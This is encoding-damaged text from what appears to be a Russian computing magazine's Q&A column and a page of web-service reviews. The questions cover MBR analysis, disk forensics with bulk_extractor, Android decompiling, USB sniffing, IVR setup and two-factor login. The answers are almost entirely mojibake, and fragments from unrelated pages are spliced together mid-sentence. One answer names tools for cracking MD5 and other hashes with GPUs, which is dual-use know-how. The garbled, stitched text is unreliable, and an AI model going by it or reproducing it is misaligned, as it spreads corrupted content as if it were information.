A: ³ÆÐÆÑÝ ÅÁÇÆ ÄÉÄÁÎÓÜ ÃÑÏÅÆ Google 
ÎÁØÉÎÁßÓ ÏÓËÁÈÜÃÁÓÝÒà ÏÓ ÐÏÅÅÆÑÇÉ ÔÇ 
ÒÌÉÙËÏÍ ÔÒÓÁÑÆÃÙÉÖ ÂÑÁÔÈÆÑÏÃ, ÈÁËÁÐÜÃÁà 
Ã ÍÏÄÉÌÔ 6-ÄÏ ÏÒÌÉËÁ. ¥Ìà jQuery, ÃÒÆÎÁÑÏÅÎÏ 
ÌßÂÉÍÏÊ JS-ÂÉÂÌÉÏÓÆËÉ, ÅÏÒÓÔÐÆÎ ÐÌÁÄÉÎ, 
ØÓÏÂÜ ÏÅÎÏÊ ÒÓÑÏËÏÊ ÏÓÒÆËÁÓÝ ÎÆÒÏÈÎÁÓÆÌÝ-
ÎÜÖ ÐÏÌÝÈÏÃÁÓÆÌÆÊ (jquery.thewikies.com/
browser). ̄ ÓÌÉØÎÜÊ ÃÁÑÉÁÎÓ.

Q: Как ускорить MySQL?
A: °ÏÒÌÆÅÎÉÆ ÃÆÑÒÉÉ ÍÔÒËÔÌÁ ÅÏÒÓÁÓÏØÎÏ 
ÂÜÒÓÑÜÆ, ÎÏ Ò ÏÒÏÈÎÁÎÉÆÍ ÓÏÄÏ, ØÓÏ noSQL 
ÎÆ ÐÏÓÆÒÎÉÓÝ, ÑÆÂàÓÁ ÐÑÉÅÔÍÜÃÁßÓ ÆÚÆ 
ÂÏÌÆÆ ÑÁÅÉËÁÌÝÎÜÆ ÍÆÓÏÅÜ ÔÃÆÌÉØÆÎÉà 
ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÉ. ¥Ìà ÏÒÏÂÜÖ ÒÌÔØÁÆÃ 
ÆÒÓÝ HandlerSocket Plugin, ËÏÓÏÑÜÊ ÍÏÇÆÓ 

Настраиваем шлюз GSM-VoIP на базе 
3G-модема

Используем GD GUI для просмотра 
отреверсенного кода Android-
приложения Двухфакторная авторизация, которая 

легко подключается к любой системе
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ÑÁÂÏÓÁÓÝ Ò ÓÁÂÌÉ×ÁÍÉ ÄÏÑÁÈÅÏ ÞÕÕÆËÓÉÃ-
ÎÆÆ, ÉÒÐÏÌÝÈÔà ÌÆÄËÏÃÆÒÎÜÊ ÒÆÓÆÃÏÊ ÒÌÏÊ 
É ÐÑÏÒÓÏÊ ÐÑÏÓÏËÏÌ ÃÏÏÂÚÆ ÂÆÈ ÃÒàËÏÄÏ 
SQL. ³ÁËÉÆ ÑÆÙÆÎÉà ÐÏÈÃÏÌàßÓ ÒÆÑÃÆÑÔ 
ÔÐÆÑÆÓÝÒà Ã ÐÑÏÉÈÃÏÅÉÓÆÌÝÎÏÒÓÝ ÒÆÓÆÃÏÊ 
ËÁÑÓÜ ÉÌÉ ÅÉÒËÏÃ, ÏÂÒÌÔÇÉÃÁà, Ë ÐÑÉÍÆÑÔ, 
750 ÓÜÒàØ ÈÁÐÑÏÒÏÃ Ë ÍÔÒËÔÌÝÎÏÊ ÓÁÂÌÉ×Æ 
Ã ÒÆËÔÎÅÔ! 

 Q: Все больше и больше вирусов зара-
жают MBR, хочу научиться отслеживать 
подобные ситуации. Какие утилиты мож-
но использовать для анализа MBR?
A: ̄ ÅÎÉÍ ÉÈ ÒÁÍÜÖ ÐÏÌÆÈÎÜÖ ÉÎÒÓÑÔÍÆÎÓÏÃ, 
ËÏÓÏÑÜÆ à ÃÉÅÆÌ ÅÌà ÉÒÒÌÆÅÏÃÁÎÉà MBR, 
àÃÌàÆÓÒà ÎÁÂÏÑ Perl-ÒËÑÉÐÓÏÃ Boot Record 
Parsers (www.garykessler.net/software/index.
html), Ã ËÏÓÏÑÜÊ ÐÏÍÉÍÏ ÐÑÏØÆÄÏ ÃÖÏÅàÓ:
• mbrparser — ÐÁÑÒÆÑ DOS/Windows Master 
Boot Record (MBR);
• bsparser — ÐÁÑÒÆÑ ÈÁÄÑÔÈÏØÎÜÖ ÒÆËÓÏÑÏÃ 
FAT ÉÌÉ NTFS.
¸ÓÏÂÜ ÌÔØÙÆ ÃÎÉËÎÔÓÝ Ã ÓÆÍÔ, ÑÆËÏÍÆÎÅÔß 
ÓÆÂÆ ÐÑÏØÉÓÁÓÝ ÒÓÁÓÝß «An Examination of 
the Standard MBR» (bit.ly/kI8AWa).

Q: Подскажи способ максимально 
быстро исследовать жесткие диски на 
наличие некоторого контента. Для при-
мера возьмем email-адреса.
A: £ ËÑÔÄÔ ËÏÍÐÝßÓÆÑÎÜÖ ËÑÉÍÉÎÁÌÉÒÓÏÃ ÃÒÆ 
ØÁÚÆ ÎÁÈÜÃÁßÓ ÐÑÏÄÑÁÍÍÔ bulk_extractor 
(afflib.org/software/bulk_extractor). ¾ÓÏ ÎÁ-
ÐÉÒÁÎÎÁà ÎÁ C++ ÔÓÉÌÉÓÁ, ËÏÓÏÑÁà ÒËÁÎÉ-
ÑÔÆÓ ÏÂÑÁÈ ÅÉÒËÁ, ÕÁÊÌ, ÉÌÉ ÅÉÑÆËÓÏÑÉß Ò 
ÕÁÊÌÁÍÉ É ÂÁÒÎÏÒÌÏÃÎÏ ÂÜÒÓÑÏ ÉÈÃÌÆËÁÆÓ 
ÑÁÈÎÏÄÏ ÑÏÅÁ ÉÎÕÏÑÍÁ×Éß. ²ËÏÑÏÒÓÝ ÅÏ-
ÒÓÉÄÁÆÓÒà ÈÁ ÒØÆÓ ÓÏÄÏ, ØÓÏ bulk_extractor 
ÎÆ ÐÁÑÒÉÓ ÒÓÑÔËÓÔÑÜ ÕÁÊÌÏÃÏÊ ÒÉÒÓÆÍÜ, Á 
ÑÁÂÏÓÁÆÓ Ò ÇÆÒÓËÉÍ ÅÉÒËÏÍ ÎÁÐÑàÍÔß, ÐÑÉ 
ÞÓÏÍ ÍÏÇÆÓ ÑÁÂÏÓÁÓÝ Ò ÑÁÈÎÜÍÉ ÔØÁÒÓËÁÍÉ 
ÏÂÑÁÈÁ ÐÁÑÁÌÌÆÌÝÎÏ. 
°ÑÉ ÞÓÏÍ ÐÑÏÄÑÁÍÍÁ ÍÏÇÆÓ ÒËÁÎÉÑÏÃÁÓÝ 
ËÁË ÏÂÜØÎÜÊ HDD, ÓÁË É SSD, ÏÐÓÉØÆÒËÉÆ 
ÎÏÒÉÓÆÌÉ, ËÁÑÓÜ ÐÁÍàÓÉ, ÅÁÍÐÜ ÒÎÉÕÕÆÑÁ 
É Ó.Å. ²ÔÚÆÒÓÃÔßÚÉÆ ÍÏÅÔÌÉ ÐÏÈÃÏÌàßÓ ÉÈ-
ÃÌÆËÁÓÝ, Ë ÐÑÉÍÆÑÔ, ÎÏÍÆÑÁ ËÑÆÅÉÓÎÜÖ ËÁÑÓ 
(ØÓÏ ÏØÆÎÝ ×ÆÎÎÏ ÅÌà ÓÆÖ, ËÓÏ ÈÁÎÉÍÁÆÓÒà 
digital forensics), ÉÎÕÏÑÍÁ×Éß EXIF ÉÈ ÕÏÓÏ-
ÄÑÁÕÉÊ É ÃÉÅÆÏ, IP/MAC/Email-ÁÅÑÆÒÁ, URL 
É Ó.Å. ±ÆÈÔÌÝÓÁÓÜ ÏÂÜØÎÏ ÉÍÆßÓ ÅÏÃÏÌÝÎÏ 
ÄÑÏÍÏÈÅËÉÊ ÃÉÅ, ÐÏÞÓÏÍÔ ÅÌà ÐÏÒÌÆÅÔßÚÆÊ 
ÏÂÑÁÂÏÓËÉ ÑÆÈÔÌÝÓÁÓÏÃ ÑÁÈÑÁÂÏÓØÉËÉ ÐÑÆÅ-
ÌÁÄÁßÓ ÑàÅ ÃÒÐÏÍÏÄÁÓÆÌÝÎÜÖ ÒËÑÉÐÓÏÃ ÎÁ 
Python’Æ.

Q: Какой сейчас самый быстрый способ 
взломать MD5 и другие хэши?
A: ¦ÒÌÉ ÎÆ ÂÑÁÓÝ Ã ÑÁÒØÆÓ ÑÁÅÔÇÎÜÆ ÓÁÂÌÉ-
×Ü, Á ÓÁËÇÆ ÑÁÒÐÑÆÅÆÌÆÎÎÜÆ ÒÉÒÓÆÍÜ, ÓÏ ÏÅ-
ÎÉÍ ÉÈ ÌÔØÙÉÖ ÃÁÑÉÁÎÓÏÃ àÃÌàÆÓÒà ÒÓÁÑÜÊ 
ÅÏÂÑÜÊ John the Ripper (www.openwall.com/
john) Ò ÎÁÂÏÑÏÍ ÐÁÓØÆÊ, ËÏÓÏÑÜÆ ÉÒÐÏÌÝÈÔßÓ 
ÅÌà ÔÒËÏÑÆÎÉà ÃÏÈÍÏÇÎÏÒÓÉ ÃÉÅÆÏËÁÑÓÜ. 
¥Ìà ÑÁÈÎÏÄÏ ÃÉÅÁ ÖÆÙÆÊ ÉÒÐÏÌÝÈÔßÓÒà ÑÁÈ-

ÌÉØÎÜÆ ÓÆÖÎÏÌÏÄÉÉ ÔÒËÏÑÆÎÉà ÈÁ ÒØÆÓ GPU:
• OpenCL: NT, raw-MD4, raw-MD5, NSLDAP 
É raw-SHA1;
• CUDA: raw-SHA256, phpass.
±ÁÈ ÔÇ ÍÜ ÃÒÐÏÍÎÉÌÉ ÐÑÏ John the Ripper, ÎÆ 
ÍÏÄÔ ÎÆ ÔÐÏÍàÎÔÓÝ, ØÓÏ Ò ÎÆÅÁÃÎÆÄÏ ÃÑÆÍÆÎÉ 
ÔÓÉÌÉÓÁ ÎÁÔØÉÌÁÒÝ ÂÑÔÓÉÓÝ ÎÆ ÓÏÌÝËÏ ÖÞÙÉ, 
ÎÏ É ÐÁÑÏÌÉ Ë ÁÑÖÉÃÁÍ ZIP É RAR, PDF-
ÅÏËÔÍÆÎÓÁÍ, Á ÓÁËÇÆ SSH-ËÌßØÉ. ±ÆËÏÍÆÎ-
ÅÔß ÐÏÒÍÏÓÑÆÓÝ ÓÁËÇÆ ÓÔÌÈÔ ighashgpu ÏÓ 
©ÃÁÎÁ ¤ÏÌÔÂÆÃÁ (hww.golubev.com/blog).

Q: Какие программы используют для 
реверсинга Android-приложений? Отсут-
ствие жестких политик внутри магазина 
приложений Android market иногда на-
стораживает — хочется самому убедить-
ся, что установленная программа не 
будет отправлять на платный номер.
A: ®ÁØÎÔ Ò ÎÆÂÏÌÝÙÏÄÏ ÐÏàÒÎÆÎÉà. ́ ÒÓÑÏÊ-
ÒÓÃÏ ÎÁ ÂÁÈÆ Android ÍÏÇÆÓ ÃÜÐÏÌÎàÓÝ ÐÑÉ-
ÌÏÇÆÎÉà, ËÏÓÏÑÜÆ ÂÜÌÉ ÒËÏÎÃÆÑÓÉÑÏÃÁÎÜ 
Ã ÒÐÆ×ÉÁÌÝÎÜÊ ÕÏÑÍÁÓ - Dalvik Executable 
(.dex).  ¥Ìà ÓÁËÉÖ ÂÉÎÁÑÎÉËÏÃ ÒÔÚÆÒÓÃÔÆÓ 
ÎÆÍÁÌÏ ÅÆËÏÍÐÉÌàÓÏÑÏÃ. ³ÁÌÁÎÓÌÉÃÜÊ 
ËÉÓÁÊÒËÉÊ ÒÓÔÅÆÎÓ ÆÚÆ Ã ÐÑÏÙÌÏÍ ÄÏÅÔ ÏÐÔ-
ÂÌÉËÏÃÁÌ ÔÓÉÌÉÓÔ dex2jar (code.google.com/p/
dex2jar), ÐÑÆÏÂÑÁÈÔßÚÔß .dex-ÂÉÎÁÑÎÉËÉ Ã 
ØÉÓÁÆÍÜÊ Java-ËÏÅ, ËÏÓÏÑÜÊ ÔÅÏÂÎÏ ÐÑÏÒÍÁ-
ÓÑÉÃÁÓÝ ØÆÑÆÈ JD-GUI (java.decompiler.free.
fr). ¦ÚÆ ÏÅÎÉÍ ÉÈÃÆÒÓÎÜÍ ÅÆËÏÍÐÉÌàÓÏÑÏÍ 
àÃÌàÆÓÒà smali (code.google.com/p/smali). 
²ÑÆÅÉ ÐÑÏØÉÖ ÐÏÅÏÂÎÜÖ ÐÑÏÅÔËÓÏÃ ÃÜÅÆ-
ÌàÆÓÒà Kivlad (www.matasano.com), ËÏÓÏÑÜÊ 
ÎÁÓÉÃÎÏ ÑÁÂÏÓÁÆÓ Ò Dalvik-ÂÁÊËÏÅÏÍ É ÐÑÆ-
ÏÂÑÁÈÔÆÓ ÆÄÏ ÎÁÐÑàÍÔß Ã Java-ÂÁÊÓËÏÅ, ØÓÏ 
ÅÁÆÓ ÑÆÈÔÌÝÓÁÓ ÄÏÑÁÈÅÏ ÌÔØÙÆÄÏ ËÁØÆÒÓÃÁ. 
¥ÆËÏÍÐÉÌàÓÏÑ ÎÁÐÉÒÁÎ ÎÁ Ruby É ÑÁÂÏÓÁÆÓ 
ÐÏÅ Windows, Linux É OS X.

Q: Какие есть инструменты, чтобы по-
смотреть, как на самом низком уровне 
взаимодействуют драйвер и USB-
устройство?
A: £ÏÈÍÏÇÎÏÒÓÝ ÌÏÄÉÑÏÃÁÓÝ USB-ÓÑÁÕÉË 
ÐÏÈÃÏÌàÆÓ, Ë ÐÑÉÍÆÑÔ, VMware. ¥Ìà ÞÓÏÄÏ Ã 
ËÏÎÕÉÄ ÃÉÑÓÔÁÌÝÎÏÊ ÍÁÙÉÎÜ (vmx-ÕÁÊÌ) 
ÎÔÇÎÏ ÅÏÂÁÃÉÓÝ ÒÌÆÅÔßÚÉÆ ÒÓÑÏËÉ:

usb.analyzer.enable = TRUE
monitor = "debug"
usb.analyzer.maxLine = 8192
mouse.vusb.enable = FALSE 

°ÏÒÌÆ ÞÓÏÄÏ ÃÆÒÝ ÓÑÁÕÉË Ã ÃÉÅÆ «ËÁË ÆÒÓÝ» 
ÂÔÅÆÓ ÌÏÄÉÑÏÃÁÓÝÒà Ã ÕÁÊÌ vmware.log. £ 
ÓÁËÏÍ ÅÁÍÐÆ ÂÆÈ ÃÒÐÏÍÏÄÁÓÆÌÝÎÜÖ ÉÎÒÓÑÔ-
ÍÆÎÓÏÃ ÒÁÍ ØÆÑÓ ÎÏÄÔ ÒÌÏÍÉÓ, ÐÏÞÓÏÍÔ ÌÔØÙÆ 
ÒÑÁÈÔ ÃÈàÓÝ Ã ÎÁÐÁÑÎÉËÉ ÆÚÆ É ÐÑÏÄÔ vsusb-
analyser (vusb-analyzer.sourceforge.net/
tutorial.html). °ÏÍÉÍÏ ÞÓÏÄÏ ÍÏÇÎÏ ÐÑÆÏÂÑÁ-
ÈÏÃÁÓÝ ÐÏÌÔØÉÃÙÉÊÒà ÌÏÄ Ã ÂÏÌÆÆ ÐÑÉÃÜØ-
ÎÜÊ PCAP-ÕÏÑÍÁÓ, ÃÏÒÐÏÌÝÈÏÃÁÃÙÉÒÝ ÎÁ-
ÐÉÒÁÎÎÜÍ ÎÁ Ruby ÒËÑÉÐÓÏÍ vmwusb2pcap.
rb (bit.ly/la7Aju). 

Q: Когда звонишь в call-центр какой-
нибудь компании, то сразу попадаешь на 
автоматизированную систему. «Нажми-
те 0 для связи с оператором», «Нажмите 
1 для того, чтобы узнать баланс» и т.д. 
Нужно реализовать что-то подобное, 
как?
A: ±ÆØÝ ÉÅÆÓ ÏÂ IVR (ÁÎÄÌ. Interactive Voice 
Response), ÒÉÒÓÆÍÆ ÐÑÆÅÃÁÑÉÓÆÌÝÎÏ ÈÁ-
ÐÉÒÁÎÎÜÖ ÄÏÌÏÒÏÃÜÖ ÒÏÏÂÚÆÎÉÊ, ÃÜÐÏÌ-
ÎàßÚÆÊ ÕÔÎË×Éß ÍÁÑÙÑÔÓÉÈÁ×ÉÉ ÈÃÏÎËÏÃ 
ÃÎÔÓÑÉ call-×ÆÎÓÑÁ. 
°ÏÌÝÈÏÃÁÓÆÌÝ ÏÂÚÁÆÓÒà Ò ÓÁËÏÊ ÒÉÒÓÆ-
ÍÏÊ ÐÏÒÑÆÅÒÓÃÏÍ ÓÏÎÁÌÝÎÏÄÏ ÎÁÂÏÑÁ. 
±ÆÁÌÉÈÏÃÁÓÝ IVR ÍÏÇÎÏ Ò ÐÏÍÏÚÝß ÔÇÆ 
ÎÁÃÆÑÎàËÁ ÈÎÁËÏÍÏÄÏ ÓÆÂÆ ÐÑÏÆËÓÁ Asterix 
(www.asterisk.org). £Òß ÌÏÄÉËÔ ÐÑÏÒÓÏÊ 
IVR-ÒÉÒÓÆÍÜ ÍÏÇÎÏ ÑÆÁÌÉÈÏÃÁÓÝ ØÆÑÆÈ 
ËÏÎÕÉÄ extensions.conf, ÎÏ ÅÌà ÒÌÏÇÎÜÖ ÈÁ-
ÅÁØ ÌÔØÙÆ ÉÒÐÏÌÝÈÏÃÁÓÝ ÃÏÈÍÏÇÎÏÒÓÉ AGI. 
¾ÓÏ ÒËÑÉÐÓÜ ÎÁ Perl ÉÌÉ Python, Ò ÐÏÍÏÚÝß 
ËÏÓÏÑÜÖ ÍÏÇÎÏ ÒÏÈÅÁÓÝ ÅÏÃÏÌÝÎÏ ÒÌÏÇ-
ÎÜÆ Ò×ÆÎÁÑÉÉ ÑÁÂÏÓÜ ÄÏÌÏÒÏÃÏÄÏ ÑÏÂÏÓÁ. 
±ÆÁÌÉÈÁ×Éà ØÆÑÆÈ Asterix ÏØÆÎÝ ÅÆÙÆÃÁ, ÎÏ 
ÐÑÉ ÞÓÏÍ ÃÆÒÝÍÁ ÍÁÒÙÓÁÂÉÑÔÆÍÁ. ®Á ÒÁÍÏÍ 
ÏÂÜØÎÏÍ ËÏÍÐÝßÓÆÑÆ ÍÏÄÔÓ ÏÅÎÏÃÑÆÍÆÎÎÏ 
ÏÂÒÌÔÇÉÃÁÓÝÒà ÒÏÓÎÉ ÈÃÏÎËÏÃ ÂÆÈ ËÁËÉÖ-
ÌÉÂÏ ÈÁÓÑÔÅÎÆÎÉÊ. 
°ÏÅÎàÓÝ ÒÁÍÔß ÐÑÏÒÓÔß IVR ÍÏÇÎÏ ÐÏ ÞÓÏÊ 
ÎÆÒÌÏÇÎÏÊ ÉÎÒÓÑÔË×ÉÉ: bit.ly/lNj26k. ̈ ÁÍÆØÔ, 
ØÓÏ ÓÁËÉÍ ÏÂÑÁÈÏÍ ÍÏÇÎÏ ÒÏÈÅÁÃÁÓÝ É ÁÃÓÏ-
ÍÁÓÉØÆÒËÉÖ ÑÏÂÏÓÏÃ, ËÏÓÏÑÜÆ ÂÔÅÔÓ ÏÂÈÃÁÎÉ-
ÃÁÓÝ ÁÂÏÎÆÎÓÏÃ, Ë ÐÑÉÍÆÑÔ, Ò ÎÁÐÏÍÉÎÁÎÉÆÍ 
ÏÂ ÏÐÌÁÓÆ ÒØÆÓÁ.

Q: Мне очень нравится возможность 
двухфакторной авторизации у Google, 
когда для входа требуется  ввести еще 
и одноразовый пароль, который по 
особому алгоритму генерируется на 
телефоне. Есть ли готовое подобное 
решение, которое можно подключить 
к своему ресурсу для усиления защиты 
пользователя?
A: ¦ÒÓÝ ÎÆÒËÏÌÝËÏ ËÏÍÍÆÑØÆÒËÉÖ ÒÆÑÃÉ-
ÒÏÃ, ËÏÓÏÑÜÆ ÍÏÇÎÏ ËÑÁÒÉÃÏ ÉÎÓÆÄÑÉ-
ÑÏÃÁÓÝ Ã ÒÃÏÉ ÐÑÏÅÔËÓÜ: Duo Security 
(www.duosecurity.com) É Symantec’s VIP 
Authentication Service (www.verisign.com). 
°ÑÉ ÅÏÌÇÎÏÍ ÇÆÌÁÎÉÉ ÍÏÇÎÏ ÒÞËÏÎÏÍÉÓÝ 
É ÑÆÁÌÉÈÏÃÁÓÝ ÃÒÆ ÒÁÍÏÍÔ, ÉÒÐÏÌÝÈÔà 
ÑÁÈÑÁÂÏÓËÔ Mobile-OTP (motp.sourceforge.
net). «ÌÉÆÎÓÒËÁà ØÁÒÓÝ, Ò ÐÏÍÏÚÝß ËÏÓÏÑÏÊ 
ÐÏÌÝÈÏÃÁÓÆÌß ÂÔÅÆÓ ÃÜÅÁÃÁÓÝÒà ÏÅÎÏÑÁÈÏ-
ÃÜÊ ÐÁÑÏÌÝ, ÎÁÐÉÒÁÎÁ ÎÁ Java É ÍÏÇÆÓ ÂÜÓÝ 
ÈÁÐÔÚÆÎÁ ÐÑÁËÓÉØÆÒËÉ ÎÁ ÌßÂÏÍ ÒÏÃÑÆÍÆÎ-
ÎÏÍ ÔÒÓÑÏÊÒÓÃÆ, Á ÎÁ ÒÆÑÃÆÑÆ ÍÏÇÆÓ ÂÜÓÝ 
ÉÒÐÏÌÝÈÏÃÁÎ RADIUS-ÒÆÑÃÆÑ (ÎÁÐÑÉÍÆÑ, 
XTRadius), Ò ÐÏÍÏÚÝß ËÏÓÏÑÏÄÏ ÂÔÅÆÓ ÃÜÐÏÌ-
ÎàÓÝÒà ÁÃÓÏÑÉÈÁ×Éà. ³Ü ÍÏÇÆÙÝ ÒÐÑÁÃÆÅ-
ÌÉÃÏ ÈÁÍÆÓÉÓÝ, ØÓÏ ÎÁ Android ÉÌÉ iPhone 
ÈÁÐÔÒÓÉÓÝ Java-ÐÑÉÌÏÇÆÎÉÆ ÎÆ ÃÜÊÅÆÓ. ³ÁË 
É ÆÒÓÝ, ÎÏ ÞÎÓÔÈÉÁÒÓÜ ÔÇÆ ÎÁÐÉÒÁÌÉ ÐÑÉ-
ÌÏÇÆÎÉà ÅÌà ÄÆÎÆÑÁ×ÉÉ ÓÏËÆÎÏÃ É ÅÌà ÞÓÉÖ 
ÐÌÁÓÕÏÑÍ..z
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HTTP://WWW2

GOOGLE SWIFFY
swiffy.googlelabs.com

 £ ÓÏ ÃÑÆÍà ËÁË HTML5 ÙÁÄÁÆÓ ÐÏ ÐÌÁÎÆÓÆ, Flash ÃÒÆ ÂÏÌÝÙÆ É ÂÏÌÝÙÆ 
ÐÑÉÓÆÒÎàßÓ. ̄ ÓËÁÈÁÓÝÒà ÏÓ ÉÒÐÏÌÝÈÏÃÁÎÉà ÐÑÏÇÏÑÌÉÃÏÄÏ ÐÏ ØÁÒÓÉ ÑÆ-
ÒÔÑÒÏÃ Flash’Á ÓÁÍ, ÄÅÆ ÞÓÏ ÍÏÇÎÏ — ÞÓÏ ÃÏÏÂÚÆ ÓÑÆÎÅ ÒÆÄÏÅÎàÙÎÆÄÏ ÅÎà. 
®Æ ÒÆËÑÆÓ, ØÓÏ Ã ÒÓÁÎÅÁÑÓÎÜÖ ÍÏÂÉÌÝÎÜÖ ÂÑÁÔÈÆÑÁÖ iPhone É iPad É ÑàÅÁ 
ÅÑÔÄÉÖ ÅÆÃÁÊÒÏÃ ÃÏÏÂÚÆ ÎÆÓ Flash-ÐÌÆÆÑÁ. ©ÎÓÆÑÁËÓÉÃÎÜÊ ËÏÎÓÆÎÓ, 
ÐÏÒÓÑÏÆÎÎÜÊ ÎÁ ÓÆÖÎÏÌÏÄÉÉ Adobe, ÐÑÏÒÓÏ ÎÆ ÏÓÏÂÑÁÇÁÆÓÒà. « ÒØÁÒÓÝß, 
ÅÌà ÃÌÁÅÆÌÝ×ÆÃ ÒÁÊÓÏÃ É ÐÑÉÌÏÇÆÎÉÊ ÎÁ ÕÌÆÙÆ ÓÆÐÆÑÝ ÆÒÓÝ ÍÁËÒÉ-
ÍÁÌÝÎÏ ÐÑÏÒÓÏÊ ÒÐÏÒÏÂ ÐÑÆÏÂÑÁÈÏÃÁÓÝ Flash SWF Ã ÕÁÊÌ Ã HTML5. ¾ÓÉÍ 
ÈÁÎÉÍÁÆÓÒà ÎÏÃÏÆ ÃÆÂ-ÐÑÉÌÏÇÆÎÉÆ ÏÓ Google — Swiffy. ²ÆÊØÁÒ ÐÏÅÅÆÑ-
ÇÉÃÁÆÓÒà SWF 8 É ActionScript 2.0, Á ÑÆÈÔÌÝÓÁÓ ËÏÑÑÆËÓÎÏ ÑÁÂÏÓÁÆÓ ÃÏ ÃÒÆÖ 
ÂÑÁÔÈÆÑÁÖ ÎÁ ÅÃÉÇËÆ WebKit (Chrome, Moible Safari É Ó.Å.).

 ®Æ ÍÏÄÔ ÎÆ ÑÁÒÒËÁÈÁÓÝ ÏÂ ÞÓÏÍ ÈÁÍÆØÁÓÆÌÝÎÏÍ ÒÆÑÃÉÒÆ ÅÌà ÒÏÒÓÁÃ-
ÌÆÎÉà ÒÐÉÒËÁ ÅÆÌ. ̧ ÓÏ ÍÎÆ ÎÑÁÃÉÓÒà Ã Wunderlist, ÓÁË ÞÓÏ ÄÌÏÂÁÌÝÎÁà 
ËÑÏÒÒÐÌÁÓÕÏÑÍÆÎÎÏÒÓÝ. ²ÆÊØÁÒ ÅÏÒÓÔÐÎÜ ÃÆÂ-ÉÎÓÆÑÕÆÊÒ, ÐÏÌÎÏ×ÆÎ-
ÎÜÆ ËÌÉÆÎÓÜ ÅÌà Windows É Mac OS X, Á ÓÁËÇÆ ÍÏÂÉÌÝÎÜÖ ÐÌÁÓÕÏÑÍ 
Android É iPhone/iPad. £ÒÆ ÈÁÅÁØÉ ÉÈ ÒÐÉÒËÁ TODO ÃÒÆÄÅÁ ÈÁÒÉÎÖÑÏ-
ÎÉÈÉÑÏÃÁÎÜ: ÆÒÌÉ ÓÜ ÅÏÂÁÃÉÌ ØÓÏ-ÓÏ Ò ÓÆÌÆÕÏÎÁ, ÓÏ ÞÓÏ ÓÔÓ ÇÆ ÏÓÏÂÑÁ-
ÈÉÓÒà Ã ÃÆÂ-ÉÎÓÆÑÕÆÊÒÆ. ÁÌÏ ÞÓÏÄÏ, Wunderlist ÐÑÆÅÌÁÄÁÆÓ ÑÁÂÏÓÁÓÝ 
ÎÁÅ ÒÐÉÒËÁÍÉ ÅÆÌ ÒÏÃÍÆÒÓÎÏ, ÐÏÞÓÏÍÔ ÞÓÏ ÆÚÆ É ÐÑÏÒÓÆÊÙÁà ÒÉÒÓÆÍÁ 
ÔÐÑÁÃÌÆÎÉà ÐÑÏÆËÓÁÍÉ. ²ÆÑÃÉÒ ÎÆ ÓÏÌÝËÏ ÂÆÒÐÌÁÓÎÜÊ, ÎÏ ÆÚÆ É ÏÓËÑÜ-
ÓÜÊ (ÉÒÖÏÅÎÉËÉ ÅÏÒÓÔÐÎÜ ÎÁ github.com/6wunderkinder). °ÑÉÍÆØÁÓÆÌÝ-
ÎÏ, ØÓÏ ÐÑÏÅÔËÓ ÎÁÐÉÒÁÎ ÎÁ ÐÌÁÓÕÏÑÍÆ Titanium.

WUNDERLIST  
www.wunderlist.com

Äëÿ ðàáîòû ñî 
ñïèñêàìè äåë

Äëÿ ïðåîáðàçîâàíèÿ 
Flash â HTML5

Äëÿ òåñòèðîâàíèÿ ñàéòà â 
ðàçíûõ áðàóçåðàõ

 ®É ÏÅÎÏ ÅÑÔÄÏÆ ÍÏÂÉÌÝÎÏÆ ÐÑÉÌÏÇÆÎÉÆ ÓÁË ÎÆ ÃÐÆØÁÓÌàÆÓ ÌßÅÆÊ, ËÁË 
Shazam ÉÌÉ ÆÄÏ ÁÎÁÌÏÄ SoundHound. £ÒÆ ÐÑÏÒÓÏ: ÏÎÉ ÔÍÆßÓ ÏÐÑÆÅÆÌàÓÝ 
ÉÒÐÏÌÎÉÓÆÌà É ËÏÍÐÏÈÉ×Éß «ÎÁ ÒÌÔÖ». «ÁÇÅÜÊ ÉÈ ÎÁÒ ÈÁÅÁÃÁÌÒà ÃÏÐÑÏ-
ÒÏÍ, ØÓÏ ÞÓÏ ÒÆÊØÁÒ ÉÄÑÁÆÓ (ÎÁÐÑÉÍÆÑ, ÐÏ ÑÁÅÉÏ), Á ÐÏÅÏÂÎÜÆ ÉÎÒÓÑÔÍÆÎ-
ÓÜ ÂÜÒÓÑÏ ÅÁßÓ ÏÓÃÆÓ. ³Á ÇÆ ÒÁÍÁà ÓÆÖÎÏÌÏÄÉà ÌÆÇÉÓ É Ã ÏÎÌÁÊÎ-ÒÆÑÃÉÒÆ 
midomi. ̧ ÆÑÆÈ ÐÑÏÒÓÏÊ ÉÎÓÆÑÕÆÊÒ ÍÏÇÎÏ ÒÎàÓÝ ÈÃÔË Ò ÍÉËÑÏÕÏÎÁ É 
ÂÜÒÓÑÏ ÐÏÌÔØÉÓÝ ÉÎÕÏÑÍÁ×Éß Ï ÐÑÏÉÈÃÆÅÆÎÉÉ. ¡ÌÄÏÑÉÓÍÜ ÎÁÒÓÏÌÝ-
ËÏ ÉÈàÚÎÜ, ØÓÏ ÍÏÇÎÏ ÅÁÇÆ ÒÁÍÏÍÔ ÎÁÐÆÓÝ ÈÁÐÏÍÎÉÃÙÉÊÒà ÏÓÑÜÃÏË 
ÐÑÏÉÈÃÆÅÆÎÉà — É ÒÆÑÃÉÒ ÈÁØÁÒÓÔß ÎÁÊÅÆÓ ÐÑÁÃÉÌÝÎÏÆ ÒÏÃÐÁÅÆÎÉÆ. 
°ÏÌÔØÉÌÏÒÝ ÅÁÇÆ Ô ÍÆÎà, ÂÆÈ ÒÌÔÖÁ É ÂÆÈ ÄÏÌÏÒÁ. £ÁÔ! £ÏÓ ÞÓÏ music 
fingerprinting!

MIDOMI
www.midomi.com

Äëÿ îïðåäåëåíèÿ 
ìóçûêè íà ñëóõ

ADOBE BROWSERLAB
browserlab.adobe.com

 ̈ ÁÎÉÍÁàÒÝ ÄÌÏÂÁÌÝÎÏÊ ÐÆÑÆÑÁÂÏÓËÏÊ ÎÁÙÆÄÏ ÒÁÊÓÁ (ÍÁÌÆÎÝËÉÊ 
ÓÉÈÆÑ, ÁÄÁ), ÍÜ ÒÓÏÌËÎÔÌÉÒÝ Ò ÐÑÏÂÌÆÍÏÊ ÓÆÒÓÉÑÏÃÁÎÉà ÃÆÑÒÓËÉ Ã ÑÁÈÎÜÖ 
ÂÑÁÔÈÆÑÁÖ. ®ÁÖÏÅËÏÊ ÏËÁÈÁÌÒà ÒÆÑÃÉÒ Browserlab. £ÏÏÂÚÆ ÒÁÍ ÕÁËÓ ÓÏÄÏ, 
